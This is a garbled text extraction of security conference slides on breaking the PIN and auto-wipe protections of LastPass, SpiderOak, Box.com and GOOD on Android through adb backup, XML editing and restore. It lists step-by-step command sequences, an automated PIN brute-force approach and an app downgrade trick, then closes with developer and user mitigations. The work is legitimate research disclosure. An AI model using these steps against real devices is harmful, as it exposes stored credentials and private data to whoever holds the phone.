specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 30: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 31: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

